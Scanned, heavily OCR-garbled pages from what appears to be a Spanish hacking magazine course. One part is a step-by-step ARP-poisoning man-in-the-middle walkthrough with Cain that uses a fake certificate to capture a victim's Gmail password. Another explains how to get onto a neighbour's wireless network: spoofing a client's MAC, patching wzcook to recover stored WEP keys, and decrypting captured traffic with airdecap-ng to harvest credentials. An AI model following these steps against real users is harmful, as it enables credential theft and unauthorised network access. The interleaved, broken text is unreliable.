En esta ventana debemos seleccionar los
dos ordenadores que queremos envenenar
para ponernos en medio de la conexiGn.
En este caso tendriamos que seleccionar
por ejemplo: 192.168.149.9 que seria la IP
del PC Victima y 192.168.149.254 que es
la IP del Router

Activamos el Sniffer pulsando en el botdn
con ¢l signo radiactivo y de esta manera
‘ya estaremos envenenando las tablas ca-
che ARP REPLY de los hosts que quere-
mos suplantar.

Ahora tan solo queda esperar a que el
usuario (la viclima) acceda al servidor de
Gmail e introduzca el login v el password.

La peticién DNS de http://www.hot-
mail.com serd atendida por el Sniffer
CAIN, de forma que el equipo atacante
realiza la peticién DNS en lugar de la vic-
tima y devuelve a la victima la respuesta
de peticién de Internet.

El PC Victima al introducir el login v la
contrasena y al pulsar sobre entrar, se ini-
cia la conexidin cifrada y la victima solici-
tard el certificado vilido de servidor
verificado por una CA a Gmail.com. Pero,
en su lugar, esta pelicion serd procesada
por CAIN, quien le servird un certificado
falso a la victima. 5i lo deseamos, pode-
mos observar como CAIN suministra el
certificado falso a la victima.

En este momento, entra en juego la astu-
cia del usuario victima para comprobar
que el certificado es de confianza.

Ahora la victima tiene dos alternativas, o
cancelar el certificado y no poder visuali-
zar su correo o aceptar el certificado v
continuar con la autenticacion. Por suer-
te o por desgracia, depende como se mi-



re, la mayoria de los usuarios aceptardn
el aviso.

El usuario, al aceptar el certificado, conti-
nuard con el inicio de la sesién y acce-
derd a su bandeja de entrada.

El usuario no notard nada diferente, inclu-
so, como observamos en la imagen, el na-
vegador nos indica que estamos seguros
en esta conexion.

Ahora, si pulsamos en la subpestaia pass-
word y luego sobre HTTP, nos encontra-
remos con el nombre de usuario y la
contrasefia de la cuenta de correo del
usuario victima.

Con estos pocos pasos nos hemos salta-
do una proteccitn aparentemente segura.
En este caso hemos saltado la proteccion
SSL con el protocolo HTTP. Pero también
podria ser aplicable con otros protocolos:
FTP, POP3, etc. También podriamos apli-
car esta técnica para saltar la proteccion
de otros servidores de cormreo, tales como
Hotmail.com, yahoo.com, etc.

HALCK

Conclusiones

Con estos pocos pasos nos hemos salta-
do la proteccién de uno de los protoco-
los mis seguros que existen hoy en dia.
Este protocolo es usado como hemos vis-
to desde los servidores de correo electré-
nico hasta la banca on-line, pasando por
cuestionarios de datos privados. Es ahora
cuando podemos pensar si realmente
existe la seguridad o es tan solo un verda-
dero espejismo.

Podriamos utilizar la herramienta Dsniff
en GNU/LINUX para realizar este ataque
y conseguir de igual manera el objetivo
del usuario mal intencionado. Llevar a ca-
bo el atague en GNU/LINUX no tiene
mayor dificultad, aunque es cierto que es
mas sencillo realizarlo en Windows.

Mis arriba, os ponia el ejemplo de una red
inalimbrica. Os imagindis estar utilizando
vuestra red inaldmbrica con proteccidn
WEP, ESSID oculto, filtrado MAC, DHCP
deshabilitado, incluso un firewall con filtra-
do por IP, y por si fuera poco utilizar 551
para visualizar vuestro banco ondine...

TECNICAS DE SNIFFING

Desgraciadamente, la realidad es otra, to-
das estas medidas de seguridad no sirven
para nada si ante ellas existe un usuario
CON UNOS Pocos conocimientos sobre se-
guridad informatica. Queridos lectores.
Bienvenidos a la realidad, la seguridad
TOTAL NO existe.

En un articulo del curso Hack Wifi apren-
deremos a realizar un atagque con estas
caracteristicas, reventaremos toda la se-
guridad de la red inalimbrica y nos hare-
mos con los datos sensibles que envia la
victima a un servidor que utiliza 55L.

CAIN no puede realizar este alague en
una red inaldmbrica. Es aqui donde en-
tran otros problemas que ya comentare-
mos en Hack Wifi.

Un saludo, lectores -<|:h|n]

NeTTinG (Enrigue Andrade Gonzilez)
nettinghxc@gmail.com

http://www.wadalbertia.org
http://www.hackwifi.tk

http://www.blognetting.tk <



CURSO de HACKING

Wardriving (X]

iTienes problemas a la hora de conectarte a una red wireless
ajena? Este mes vamos a revisar cuales pueden ser las causas
y la forma de resolverlo. También empezaremos a explicaros
otra herramienta de wardriving: AirSnort.

Errores al conectar a la red
wireless

Puede que, aunque havas descubierto la
clave WEP, cuando te conectes al AP te
aparezca en mensaje de Windows “Co-
nectividad limitada o nula”. A continua-
cion te explicamos unos cuantos moltivos
por los que una conexion a un AP no fun-
ciona comrectamente, a la vez de que te
vamos a explicar como resolverlos,

1.- La clave WEP la has introducido mal.
Esto se ve claro si tu tarjeta tiene pagque-
tes enviados pero tiene 0 paguetes recibi-
dos. Revisa que no te hayas equivocado
utilizando el programa wzcook.exe que
viene en el paguete del aircrack. Se trata
de un programa que recupera del registro
de Windows las claves de las redes wire-
less que hayas configurado previamente,

Te mostrard el ESSID de la red vy la clave
en el formato en el que las introdujeras.
Dependiendo del nimero de caracteres
en uso sabrds de que tipo se trata (el final
de la clave la rellena con ceros).

El motivo del nombre del programa se de-
be a que el servicio que controla la cone-
xidn a las redes inalimbricas en Windows
se llama Windows Zero Configuration
(WZC), se podra traducir como Configu-
racion inaldmbrica Riapida de Windows.

Es posible que, si tenéis el SP2 instalado,
os aparezca el siguiente mensaje de error
al ejecutar el wzcook:

Error:
failed

CryptUnprotectData

En las dltimas versiones del wzcook se re-
suelve, pero si querdis podéis corregir el
problema realizando unos cambios en el
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Ahora pulsad en Edit = Overwrite string...
Marcad “Hex string” e introducid 30,

Luego tendréis que hacer lo mismo con el
siguiente valor a cambiar. No os olvidéis
de guardar el cambio una vez terminado.

Ojo, esto sdlo es vilido con la version del
wzcook 2.1, si no estdis seguros de cudl
es vuestra version simplemente por el va
lor de los caracteres que hay en esas casi
las lo sabréis (si no son los indicados es
que no es la misma version).

2.- Puede que el router no tenga activado
un servidor de DHCP, por lo que tendris
que configurar manualmente t IP como
ya explicamos en la entrega 88.

3.- Puede que el router restrinja los clien
tes wireless autorizados en funcidn de su
direccion MAC. En ese caso, trataremos
de suplantar a uno de los clientes que
hayiis visto conectados al AP en el listads
que muestra el airodump durante la cap
tura (esos datos los almacena en el fiche
ro nombre_captura.bxt).

Esyz hawe been stored im Civmpheys.txt. Press Cirl-C.

Chrves WEP cacheadas

wzcook.exe mediante un editor hexadeci-
mal. Os dejamos el editor hexadecimal
gratuito XVI 32 v2.51 (www.chmaas.
handshake.de) v os explicamos lo que
tenéis que hacer:

17) En la direccidn 0x145D, cambiar el va-
lor 0x08 por 0x30

2%) En la direccidn Ox145E, cambiar el va-
lor Ox01 por Ox03

Esto es baslante sencillo, una vez ejecuta-
do el XVI, abrid el wzcook.exe. Para ir a la
direccion pulsad en Address -> Goto...
Marcad “hexadecimal” e introducid 145D.

Bastara con ponemos la direccion MAI
de uno de los clientes, pero cuando
esté conectado, de lo contrario tendrés
problemas en la conexidén porque am
bos ordenadores (el uyo v el del usua
rio real) tratardn ‘'de procesar los
paquetes cuya MAC de destino sea L
del usuario real.

Para modificar la direccidn MAC de vuess:
tarjeta bastard con que utilicéis un sencil
programa (esto se puede hacer modificas
do también el registro de Windows, pe

no nos vamos a complicar la vida més de |
que yva es de por si), el EtherChange 1.1 o



MTSecurity.nu (http://ntsecurity.nu/tool-
box/etherchange/).

Su uso es sencillo;

1¥) Lo ejecutdis (y pensar que para decir
esto mis padres me mandaron a un cole-
gio de pago... en fin, no me lo tengdis en
cuental.

27) Selecciondis el nimero de la tareta a
la gue queréis cambiarle la MAC (elemen-
tal, querido Watson...).

3%) Seleccionais la opcidn 1 “Specify a
new ethernet address”.

4%) Introducis la MAC de uno de los usua-
rios reales (sin los “:").

Después de esto tendréis que deshabilitar
y volver a habilitar la tarjeta de red para
que tome la nueva MAC.

4.- Puede que la clave WEP que hayas
descubierto no sea correcta (puede que
se trate de una clave dinimica). Por raro
que pueda parecerte, te puedes asociar a
cualguier AP sin disponer de la clave WEP
correcta, pero el resultado sera que no te
funcionard la conexidon porque tu ordena-
dor no tiene la clave de cifrado necesaria
para entenderse con el AP. Lo logico seria
pensar que tu ordenador te mostrara un
mensaje de error al darse cuenta de que
la clave de cifrado no es la correcta, pero
esto no ocurre asi. Os vamos a explicar, a
grandes rasgos, por qué OCurre esto.

Cuando tu intentas conectarte a un AP
protegido con WEP utilizando una clave
incorrecta, lo primero que hace tu tarjeta
inalambrica es configurarse para utilizar el
canal que ese AP utiliza, luego define co-
mo punto de intercomunicacion con
otros equipos inalambricos dicho AP, a
continuacian configurard los datos de la
IP de esa tarjeta inalimbrica (bien con va-
lores fijos va introducidos por ti o inten-
tando descargarlos de un servidor DHCP)
v, por dltimo, tratard de comunicarse con
dicho AP,

Bien, si la dave de cifrado WEP que has in-
troducido no es la cormecta, w ordenador
cifrard los datos de una manera que el AP
no los entenderd, por lo que no te hard ca-
so. Por otra parte, los datos que envie el
AP tampoco los entenderd tu ordenador
porque la clave es incomecta. jResultado?
Que tu ordenador v el AP no se enten-
derdn. Podrian haber implementado un
mecanismo en el protocolo para que el AP
le dijera al ordenador que no estaba co-
rreclamente conectado, pero no se ha he
cho asi (tal vez por mejorar la seguridad...).
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Cambiandn b MAC de nuestra winpbess

Puedes preguntarte “}Y como es que pue-
do ver el nivel de intensidad de la sefal si
no estoy conectado correctamente al
AP, Sencillo, porgue tu tarjeta wireless
te estd indicando la potencia con la que
esta recibiendo la sefal, pero eso no sig-
nifica que estés correctamente conecta-
do. Es como si sintonizas en la television
el Canal+, por muy bien que recibas la
senal, si no tienes el descodilicador no
podris ver correctamente el canal,

51 te quieres asegurar de que esa clave
WEF es correcta lo mejor es descifrar los
paquetes capturados, asi nos aseguramos
de que la clave es la correcta. El fichero
gue creamos en su momento con el airo-
dump-ng contiene los paguetes captura-
dos cifrados mediante WEP.,

4.1.- Una de las herramientas para desci-
frar la captura es el airdecap-ng que viene
en el propio paquete del aircrack. La for-
ma simple de ejecutarlo es la siguiente:

C:\> airdecap-ng -w |clave en hexadeci-
mal] [fichero con los paguetes capturados|

Ejemiplo:

C:\> airdecap-ng -w
128T71423412341245230918237
captura.cap

Hecho esto os mostrarda por pantalla infor-
macitn sobre el andlisis, indicando la can-
lidad de paquetes que se capluraron v los
que han podido ser descifrados.

Hecho esto os creard un fichero del tipo
[nombre del fichero de paquetes captura-

(5 b
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-p <pass>: Clave WPA
w <key>: Clave WEP en hexadecimal

Es recomendable que la clave en hexade
cimal la introduzcdis sin los “" que sepa-
ran cada dos caracteres de la misma (que
0s pone el aircrack cuando la descubre).

Puede que, aunque la captura haya sido
commecta vy la clave también sea correcta,
el fichero gue te genere tenga un tamano
de solo 24Kb. Eso se debe a un error en el
codigo del programa, que se podria resol-
ver afladiendo en el fichero airdecap.c, en
la linea B47, la siguiente linea de codigo:

n = gizecf( pfh );

File Edit View Terminal Tabs

Indormacién del airdecap-ng 500e una Capiura descitrady

Help

R e e IR

SHOLBB +y ¥ LUEErE~0@R2YSEr 0T A

b il [T
P, Flsa 7]
D D030 Hanbom

e FRCD . Hasbalel
APCR N Hasfum [T
(RBHSEH Hanb 7]
CoRPTLEE s )
B MOH Haahaa |77
witighilc Mt (0
b st L Teu]
HOT Haitam (0

o T b ()

ol i (T

B ik | b )
ST i ()
BIPEME: 1] Haabwa 1T
Ei ol ke I i
B Srarec-Eey e
=R T
WEERCH, Haaiua [T
501 Fanfum [T}
¥ B Hanified [2)
I Hashu [T}

o i 1o

e

Cargar un fcharn o caplary del sirodump &0 o Cain
dos|-dec.cap en el que guardard los pa-
guetes descifrados, para que podais leer-
los con vuestro sniffer hahitual (para
buscar las claves que hayan podido enviar
los usuarios, mensajes de correo...).

Las opciones de ejecucidn del airdecap
son (al final tendréis que poner siempre el

fichero capturade del que queréis desci-
frar los paquetes):

-I: No eliminar la cabecera 802,11

-b <bssid>: Direccion MAC del AP del
cual queréis descifrar los paguetes

-k <pmbk>: Clave WPA en hexadecimal

-g¢ <essid>: 551D de la red de la que
gueréis descifrar los paguetes

4.2.- Otro programa que podriamos utili-
zar para descifrar los paquetes capturados
seria nuestro querido amigo Cain & Abel
vd, 2, ya que en esta nueva version se han
anadido importantes mejoras v funcionali-
dades, sobre todo en la parte wireless
que nos interesa en este momento
(www.oxid.it/downloads/ca_setup.exe).

LIna vez instalado, id a la pestafa “Crac-
ker” y después a la dltima opcidn que os
aparece en el mend “802.11 Captures”.
En la ventana derecha pulsad con el
botdn derecho del ratén v seleccionad
“Add to list”, Ahora seleccionad el fichero
donde habéis almacenado los paguetes
capturados con el airodump.

Ahora pulsad con el botdn derecho sobre
el fichero que hemos cargado y seleccio-
nad “Decode”. Por defecto os propondra
como fichero de salida el mismo que el
que le habéis indicado donde estin los
paquetes anadiéndole el “-dec” en la mis-
ma ruta donde se encuentre el fichero ori-
ginal, como lo haria el airdecap. En la
casilla de “WEP Key (Hex)” tenéis que in-
troducic la clave WEP en formato hexade-
cimal, como la conseguisteis con el
aircrack. Si para crackear la clave utilizas-



teis el WlanDecrypter GUI y sdlo co-
nocéis la clave en formato ASCIl no hay
problema, pulsad en el botdn “A” junto a
la casilla de la clave y podréis introducir la
clave en ASCI (é] la convertird después a
hexadecimal.

Si lo que tenéis es la clave WPA tendréis
que hacer lo mismo pero seleccionando
“WPA P5K (Hex)".

Hecho esto sélo queda darle a Ok para
que la picadora empiece a funcionar y
esperarnos un ratito a que el postre esté
cocinado )

4.3.- Otra forma de comprobar si la clave
WEP es vilida descifrando los paguetes cap-
twrados es utilizando directamente el Ethere-
al, sin descifrar previamente los paquetes. La
dltima version, la 0.99.0, estd disponible en
http://ethereal.uptodown.com;’.

Una vez instalado podéis abrir con él el fi-
chero de paquetes capturados en File ?
Open. Obvio, jverdad? Si el fichero de
captura es grandecito (lo habitual son
unos 600Mb) puede tardar un ratito en
cargar todos los paquetes (de 8 minutos
para arriba, dependiendo de la potencia
de vuestro equipo), asi que paciencia.

Como los paquetes estin cifrados, lo que
veréis no serd demasiado interesante,

Como podéis haber visto en la captura del
Ethereal, la parte de datos esta cifrada v no
podéis entender la informacion. Pero si le in-
troducimos la clave WEP, el propio Ethereal
descifrard los paquetes v podréis analizarlos
comao si de una captura normal se tratara,

Para hacer esto tenéis que ir a Edit = Prefe-
rences -> Protocols - IEEE 802.11. En la casi
lla “WEP key count” tendis que seleccionar
1, ya que sdlo le vamos a proporcionar una
clave (si dejdramos marcado 0 sera como
decirle que no utilizara ninguna). Ahora, en
la casilla “WEP key #1” debéis introducir la
clave WEP hexadecimal, sin los “:". Luego
pulsas Apply y Ok y jlisto!

Si todo ha ido bien podrds ver ya los pa-
quetes, con la IP de origen, de destino, el
tipo de paquete que es, el puerto...

5.- Estds demasiado lejos del AP v la cali-
dad de la seial es muy mala. Esto es una
perogrullada, lo sé, pero nunca esta de
mds cerciorarse de que lo has comproba-
do... Ademds, cuanto mayor es el cifrado,
mas tamano ocupan los paquetes v eso
puede provocar que la cobertura del AP
se reduzca todavia mds. Ya sé que si estds

Website del mes

Siguiendo con la tematica de esle mes, vamos a
visitar una web que es un verdadero buscador
de puntos de acceso wireless. Se trata de Wi-

WARDRIVING
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Lo mas curioso de esta web es que se han cu-
rrado su propio motor para mostrar en un mapa
del mundo la ubicacion de dichos puntos de ac-
ceso. No obstante, el mapa no esta tan trabaja-
do como el Google Maps y le echo en falta que
coleje los APs con las direcciones de las calles
fuera de Estados Unidos... pero posiblemente
con el tiempo... También be echo en falta que o
buscador de APs soporie direcciones de fuera
de Estados Unidos... Vamos, que para los que
somos de fuera de los USA las capacidades
estan limitaditas.

Los que somos del resio del planeta no os preo-
cupéis, que mucha gente ha subido APs (y es-

pero que vosolros también coninbuyais) y hay
APs de Espafia, por ejempio. Lo malo es que
tendréis que buscarlos navegando por el mapa y
85 un poco lento, ademas de que no te aparece
la direccion exacta.

De todos modos, se han trabajado una aplicacidn
en PHP para poder extraer la informacion sobre
los APs y poder importaros en Google Maps en
versidn desktop. Dicha ion podéis encon-
trarla en hitp:/lwww.irongeek.com/i.php?pa-
ge=security/wigletogoogleearth

ATENCION WEBMASTERS: Si creéis que
vuestra web (bien sea independiente o de un
grupo) es lo suficientemente buena como
para aparecer en esta seccion, y su conteni-
do se refiere al hacking que aqui tratamos,
no dudéis en hacémosio saber a la direccion

cursodehack@megamultimedia.com.

b.- Tienes ping al router, pero
no sales a Internet. Esto puede

ser debido a que el AP no ten-
ga conexion a Internet (normal

Puacknts macd 2677015

=4 si la red inalimbrica es de una
e e oficina donde no permilen a los
S — il empleados conectar a Internet).
! WORPE N También puede deberse a que
| 21 1 los usuarios, para navegar por
Sasty Dptiarn Internet, utilicen un proxy para

la salida a Internet. La forma

E:# 1ﬁ —— de conocer esto es ver, con
mm-_"_, -t ITTTTTTTTTTTN un sniffer, qué puertos de co-

- nexién son los mds usados v a
Decteelufh packete: 0 [ox ] cma |} qué equipos hay un mayor ni-

Fichar wirthits detcifrads con of Cain

esnifando la wireless de un vecino poco
mds puedes hacer para acercarte a ella,
pero lo mismo te puedes dar una vuelta
por casa para ver si hay una zona donde
se reciba mejor (los muros sean maés fi-
nos), 0 si estds en un coche pues tendrds
que acercarte mas...

mero de conexiones. Si ves
que muchos usuarios se co-
nectan al 192.168.0.2 al puerto 8080 esti
claro que ahi esta el proxy. Si configuras
el proxy en tu ordenador y aun asi no sa-
les a Internet puede ser porque tengan b-
mitadas las conexiones a Internet por la IP
del cliente, o porque cada usuario tenga
una clave para acceder a Internet. En ofi-

o>



cinas muy preocupadas con la seguridad
de la informacidn hacen esto y mads.

AirSnort I: Presentacion del
cerdito en sociedad

Existen bastantes programas que nos per-
miten capturar tramas wireless para poder
crackearlas después, aunque de momento
nos estamos centrando en explicaros dni-
camente aquellos que son gratuitos. Uno
de estos programas es el AirSnort. Estd
disponible tanto para Linux como para
Windows,

Los motivos que nos llevan a explicaros
este programa como veréis son varios:
1. Es bastante sencillo de utilizar.

2.- Mo necesitaréis guardar todos los pa-
quetes capturados para poder crackear el
WEP, con lo que os ahorrdis espacio en el
disco duro.

3.- Crackea la clave WEP conforme estd
capturando paquetes, por lo que tarda
menos en descubrir la clave.

El logotipo, como ya os habréis dado
cuenta mas de uno, es similar al del Snort,
la herramienta gratuita que permite, anali-
zando el trifico de red, detectar ataques.
En este caso le han puesto alitas al cerdito
porque el trifico que analizara serd el wi-
reless, aunque este no sirve para detectar
ataques sino para crackear claves WEP.

Como es normal este programa hace uso
de una tarjeta inaldmbrica que soporte el
modo monitor. Como ya os dijimos, para
nuestras pruebas utilizaremos una Cisco
Aironet PCMCIA. Para poder capturar las
tramas, una vez mas, utilizaremos los dri-
vers wireless de AiroPeek (de Wild Pac-
kets), que deberéis haber configurado
para dicha tarjeta wireless.

El mes que viene os explicaremos como
instalarlo.

En la proxima entrega:
Wardriving XI: AirSnort
Andrés Méndez Barco
Manuel Baleriola Moguel<
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varmos a comentar ahora es el que esta afectado por
un bug Yy, por eso, sale aqui este mes. El punto de
ya, es ol DWL-2 bug en cuestidn ko
que hace es posibiitar que una persona

Llamadas low-cost
Esle mes vamas a comenzar con un programa que
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hﬁ':mﬂmummam mmhmmmmm sitivo y @50 nunca es bueno cuando se trata de infor-
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| conozca a foda velocidad por Intermet Estamos  que alguien piense “voy a coger un fichero de fulanito  Agquellos que esitén conclenciados con la de
 hablando de 8l de telefonia IP quizds  ahora que tengo un rato” sino que tiene que hablar, su red inalambrica, les sonardn como
. més famoso del globo, o uno de los mas famosos, en  enviar el enlace, que la victima lo abra,... En cualquier  WEP, WPA, MAC.... en definiiva, claves, restriccidn
cualquier caso, uno de los “elegidos”. mmm .amnwubadm que tenéis la G-  de acceso y privacidad,
ofrece a los usuarios la de realizar {:mm;:umrmmmuh&mmn
liamadas gratuitas de PC a PC y obro Bipo de servicios 05 a0 0inas Lamiien pe mmmﬂw acceso y, aqui
telefonicos llamar del PC a un fjo 0 Normaimente en esta seccidn o que aparecen suelen  viena el problema, las forman parle de esa
mévil de ofro pais) a precios muy compelitivos si los  ser programas y operativos, raramente apa-  informacidn que se puede obtener. El resto ya os lo
con los de las compafiias telefdnicas  rece un cachamo dicho, Pues hoy esund  podéis imaginar, conocida la clave de acceso se estd

Concratamante. estamos

de £508 dins en 05 que § aparece un Cachamo que,
dicho sea de paso, cada vez enan manos de cacha-
fros y mas de software en sus tripas. El cachamo en
u&ﬂhumﬂmdﬂ:&gumﬂuﬂuuﬁ
por todas partes y una tecnolog
cada nﬁymﬁm la usa es la wirslass.
de un punto de
Accasn para los que no sapan lo que es, pode-
mos que es &l cachamo que ofreca
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anterior por falta de espacio.

Con este articulo finalizaremos con la deteccion de redes inalambricas del Taller. Ob-
tendremos unos conocimientos necesarios para comprender el problema de las antenas
y como pueden ser utilizadas para el ataque y para proteger la red inalambrica. También
tocaremos el tema del volcado de trifico inalambrico, que no pudimos abarcar el mes

Saludos mis queridos lectores -<|:-p[n].
Ya es tiempo de subirse al tejado de nues-
tras casas, poner la mano en la frente (a
modo de visera) v observar lo que desde
ahi podemos capturar con una buena an-
tena inaldmbrica. jQué antena?, joudntas
antenas hay?, jeudl es la mejord, joudl es-
coger! Seran preguntas que contestaremos
a lo largo de todo el articulo. Estate atento
y encontraras la respuesta.

Recuerda que tienes a tu disposicion un
blog (http://www.blonetting.tk) donde voy
introduciendo noticias sobre el mundo ina-
limbrica, sobre el curso Hack Wifi (como
ampliacion de articulos), sobre la revista @
moba (portada, fecha de salida, articulos
publicados, etc.) y otros temas de interés

general. También tienes a tw disposicion
un foro (http://'www hackwifi.tk) donde
realizar todas las preguntas que surjan con
respecto al mundo inaldmbrico v en tomo
a HackWili. Como siempre, va estas avisa-
do y ahora no tienes excusa.

Después de escoger una tarjeta inalam-
brica cliente segtin su chipset, otro aspecto
que debemos de tener en cuenta es su
salida de potencia, la posibilidad de regular
esta salida v la sensibilidad en la recepcidn.

Teoria basica de
radiofrecuencia

La salida de potencia de transmision se
mide en dos puntos distintos de un sistema
inalimbrico.

- IR, Intencional Radiador (emisor in-
tencional),

- EIRP, equivalent isotropically radiated
power (potencia radiada isotropica equi-
valente).

El primer punto se denomina IR, Inten-
cional Radiador (emisor intencional). El IR
incluye el transmisor de radio y todos los
cables y conectores sin incluir la antena
que estamos utilizando. El segundo es la
potencia realmente radiada desde la ante-
na emisora.

Las potencias IR v EIEP se encuen-
tran reguladas de forma legal por el ETSI
(Institute Europeo de Normas de Tele-
comunicaciones) en la Unidn Europea
o por la FCC
(Federal Com-

munications
Commission)
en Estados Uni-
dos, como va

Vimos en una

de las primeras
partes del cur-
s0 Hack Wi-Fi.

Fara me-
dir tanto la
potencia de
la energia emi-

tida como la
sensibilidad de

1. Andenas omnidinecCiondlis

recepcion del



dispositivo inaldmbrico se utilizan vatios o
decibelios, aunque es mas comun utilizar
milivatios, mW.

La ganancia de potencia debida a las
antenas y amplificadores como las pérdi-
das debidas a la distancia, los obstaculos
v la resistencia electronica de los cables,
conectores, protectores frente a descar-
gas, divisores y atenuadores se mide en
decibelios o incluso en dBm para mds
exactitud. La “m” de dBm significa que se
toma como referencia 1 mwW. Es decir, 1
mW equivale a 0 dBm,

La ganancia de potencia de las an-
tenas se expresa en dBi (i, procede de
isotropica) que se utiliza del mismo
modo que los dBm en los cilculos de
potencia de radiofrecuencia.

Para calcular el valor EIRP de un
sistema inalimbrico, simplemente hay
que sumar todos los valores dBm de
los dispositivos v conectores involu-
crados. Pongamos un ejemplo practi-
co:

- Una tarjeta inaldmbrica cliente de
unos 20 dBm (100 mw)

- Un conector pigtail largo con pér-
dida de senal de 2 dBm (10 W)

- Una antena omnidireccional de
montaje magnético con una ganancia
de 5 dBi,

CUANDO NOS FIJAMOS EN LA
POTENCIA DE SALIDA Y EN LA
SENSIBILIDAD DE RECEPCION DE
UN EQUIPO INALAMBRICO, TE-
NEMOS QUE TENER EN CUENTA
QUE CUANTA MAS POTENCIA Y
SENSIBILIDAD, MEJOR.

Al hacer los cilculos obtenemos 23
dBm, es decir, 20 = 2 + 5= 23 dBm.
Que viene a ser una potencia de sa-
lida de unos 200 mW, Recordad que
hay que tener en cuenta que cada au-
mento de & dBi en el valor de la EIRP
duplica el alcance de transmision o
recepcian, la regla de los & dB.

Para profundizar mds en el tema
podréis echar mano de este documen-
to: http://web. frm.utn.edu.ar/medida-
sed/varios/dB.pdf, ¥y como siempre del
amigo google ;).

También tenéis a vuestra disposi-

citn varias calculadoras de potencia de
radiofrecuencia. Como es el caso de:
http://69.93.195.1 78 /~electr0/ricalcula-
tions.hitml

Mas caracteristicas

Cuando nos fijamos en la potencia de
salida y en la sensibilidad de recepcidn
de un equipo inalimbrico, tenemos que
tener en cuenta que cuanta mas potencia
v sensibilidad, mejor,

LIna potencia mas alta implica la
posibilidad de conectarse a una red ina-
ldmbrica desde una mayor distancia del
objetivo. También, una mejor capacidad
para lanzar atagques de denegacion de
servicios mediante distorsion v una mayor
posibilidad de éxito para un ataque de
intermediario en la capa ifsica.

Contar con una mayor sensibilidad de
recepcion implica un mayor ndmerno de
redes inaldmbricas detectadas v una ve-
locidad de conexidn mas alta v eliciente
v para el ataque, una mayor cantidad de
trafico inaldmbrico volcado, Y esto puede
implicar menos tiempo para romper el
cifrado WEP. Ya sabéis que cuanto mayor
sea el numero de paguetes de vector IV
recogidos v volcados mas sencillo serd de
roimprer este cilrado,

Salida de potencia

Ser capaz de regular la salida de po-
tencia {la IR) resulta esencial tanto para
el atague, ocultacidn v ahorro de bateria,
como para la defensa, debilitar el perime-
tro de cobertura, su dilusion vy la facilidad
de deteccion. Una tarjeta de gran sensibi-
lidad y potente, conectada con una ante-
na de alta ganancia, podria hacer atagues
desde una posicidn en la gue el atacante
jamis seria descubierto,

Hoy en dia, es ficil v econdmico ha-
cerse con antenas de gran calidad v bara-
tas. Los precios de los amplificadores se
reducen lentamente. El coste de montar
un conjunto de herramientas muy decen-
te para un atague nos s mucho mayor
gue el coste de desplegar una red inaldm-
brica doméstica.

Antenas

Con respecto a la seguridad, las an-
tenas y amplificadores ofrecen enormes
posibilidades tanto a atacantes como a
defensores habilidosos.

- Desde el punto de vista del atacante;
Las antenas ofrecen distancia v esto impli-
ca alejamiento v ocultacion fisica, mejor

2 Antena yagi

calidad de sehal (mayor ancho de banda),
v una potencia de salida mds alta (para
ataques de denegacion de servicios).

- Desde el punto de vista del adminis-
trador: Colocar correctamente las antenas
delimitard el perimetro de la red y dismi-
nuird el nesgo de de detectar la red ina-
lambrica, reduciendo considerablemente
el espacio del atacante para maniobrar.

Fasemos ahora a hablar sobre la teoria
de antenas.

Radiofrecuencia, teoria de an-
tenas

Frincipalmente existen dos caracteristi-
cas de suma impertancia para las antenas:

- La ganancia, o amplificacién de po-
tencia.

- Ancho de haz, que es determinada
por la zona de cobertura de la antena.

Se deberia exigir al fabricante el diagra-
ma del patrdn de radiacién de la antena
para analizar la forma de la radiacidn de
la antena. Otra de las caracteristicas de las
antenas que suele pasar por alto es la po-
larizacion de la antena, que puede modifi-
carse fdcilmente alterando la posicidn de
la antena, importante para la seguridad.

La ganancia de una aniena se expre-
sa en forma de dBi va que se establece
como referencia un dispositivo radiador
isotrdpico abstracto, un dispositivo ima-
ginario que radia potencia en todas las
direcciones. Se define como pasiva por-
que la antena no anade potencia. En lugar
de este sistema, la ganancia se consigue
enfocando las ondas radiadas para conse-
guir un haz mds estrecho, Este puede ser
lanto vertical como horizontal,

Existen tres tipos de antena general,
que se diferencian en el patron de radia-
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cion y en el ancho de haz, y que pueden
subdividirse en mds subtipos;

= Antenas omnidireccionales:
(Ver Fotos 1)

- Antena para montaje en pilar

- Montaje en mastil

- Antena plano tierra

- Antena montaje en techo

Las antenas omnidireccionales tienen
una zona de cobertura horizontal de 360
grados y consiguen su ganancia limitando
el ancho del rayo vertical. El patrén de
una antena omnidireccional se parece a
un donuts: la antena se sitda en el agu-
jero. Las antenas de plano de tierra (v
algunas emnidireccionales de montaje
en techo con un plano de tierra) evitan
que la radiacion se disperse hacia abajo y
hacia arriba. Para las antenas omnidirec-
cionales de montaje magnético el propio
coche actia como plano de tierra, ante-
nas interesantes para el wardriving :)

Lin uso tipico para las antenas omni-
direccionales es proporcionar enlaces
punto a multipunto para varios clientes o
incluso para varias redes inaldimbricas.

- Antenas parcialmente direccionales:
- Antena Yagi (Foto 2)

Etepmm .92
o Ford Sschgroesrd  leesnsl
B Hetwork List
H.lq.‘-

stalus
d IF 192
ing dats

ound TP 192

Savi ng dlata |
i

Battery: 0% Oh

- Antena sectorial
- Antena de panel
Antena tipo de parche.

Las antenas parcialmente direccionales
sectoriales, de tipo parche y de panel,
crean un patron de radiacidn en forma
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de burbuja que se extiende de 60 a 120
grados con respecto a una direccidn. Las
antenas Yagi forman una burbuja exten-
dida mds estrecha con lobulos laterales y
anteriores. El uso tipico de una antena Ya-
gi s establecer enlaces de interconexion
de rango medio entre edificios corparati-
vas como alternativa realmente barata al
empleo de fibra dptica

- Antenas de alta direccionalidad:
- De rejilla
- Parabwilica

Las antenas de alta direccionalidad
emiten un haz conico muy estrecho
capaz de alcanzar el horizonte visible y
utilizarse para enlaces punto a punio de
largo alcance, o en situaciones en que
s preciso disponer de un enlace punto
a punto de gran calidad, Debido a su ga-
nancia elevada, las antenas direccionales
se ulilizan a veces para atravesar obsticu-
los como paredes cuando no se dispone
de oiras alternativas.

Escogiendo antenas para la
audiforia inalambrica

Cuando escojamos antenas para una
auditoria de seguridad inalimbrica, de-
beriamos seleccionar como minimo una
antena omnidireccional decente, asi coma
una antena de ganancia alta y un ancho de
haz estrecho.

Una antena onmidireccional de 12 dBi
y una direccional de rejilla de 19 dBi no es
una mala seleccidn, Pero como siempre
depende de las circunstancias v del uso
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que le vamos a dar. Una antena omnidires-
cional es muy prictica para analizar luga-
res, buscar puntos de acceso (AP), analizar

EL USO TiPICO DE UNA ANTENA
YAG! ES ESTABLECER ENLACES
DE INTERCONEXION DE RANGO
MEDIO ENTRE EDIFICIOS COR-
PORATIVOS COMO ALTERNATIVA
REALMENTE BARATA AL EMPLEC
DE FIBRA OPTICA

trdfico y monitorizar el drea en busca de
interferencias o trifico no autorizado.

Respecto a estas antenas hay que tenes
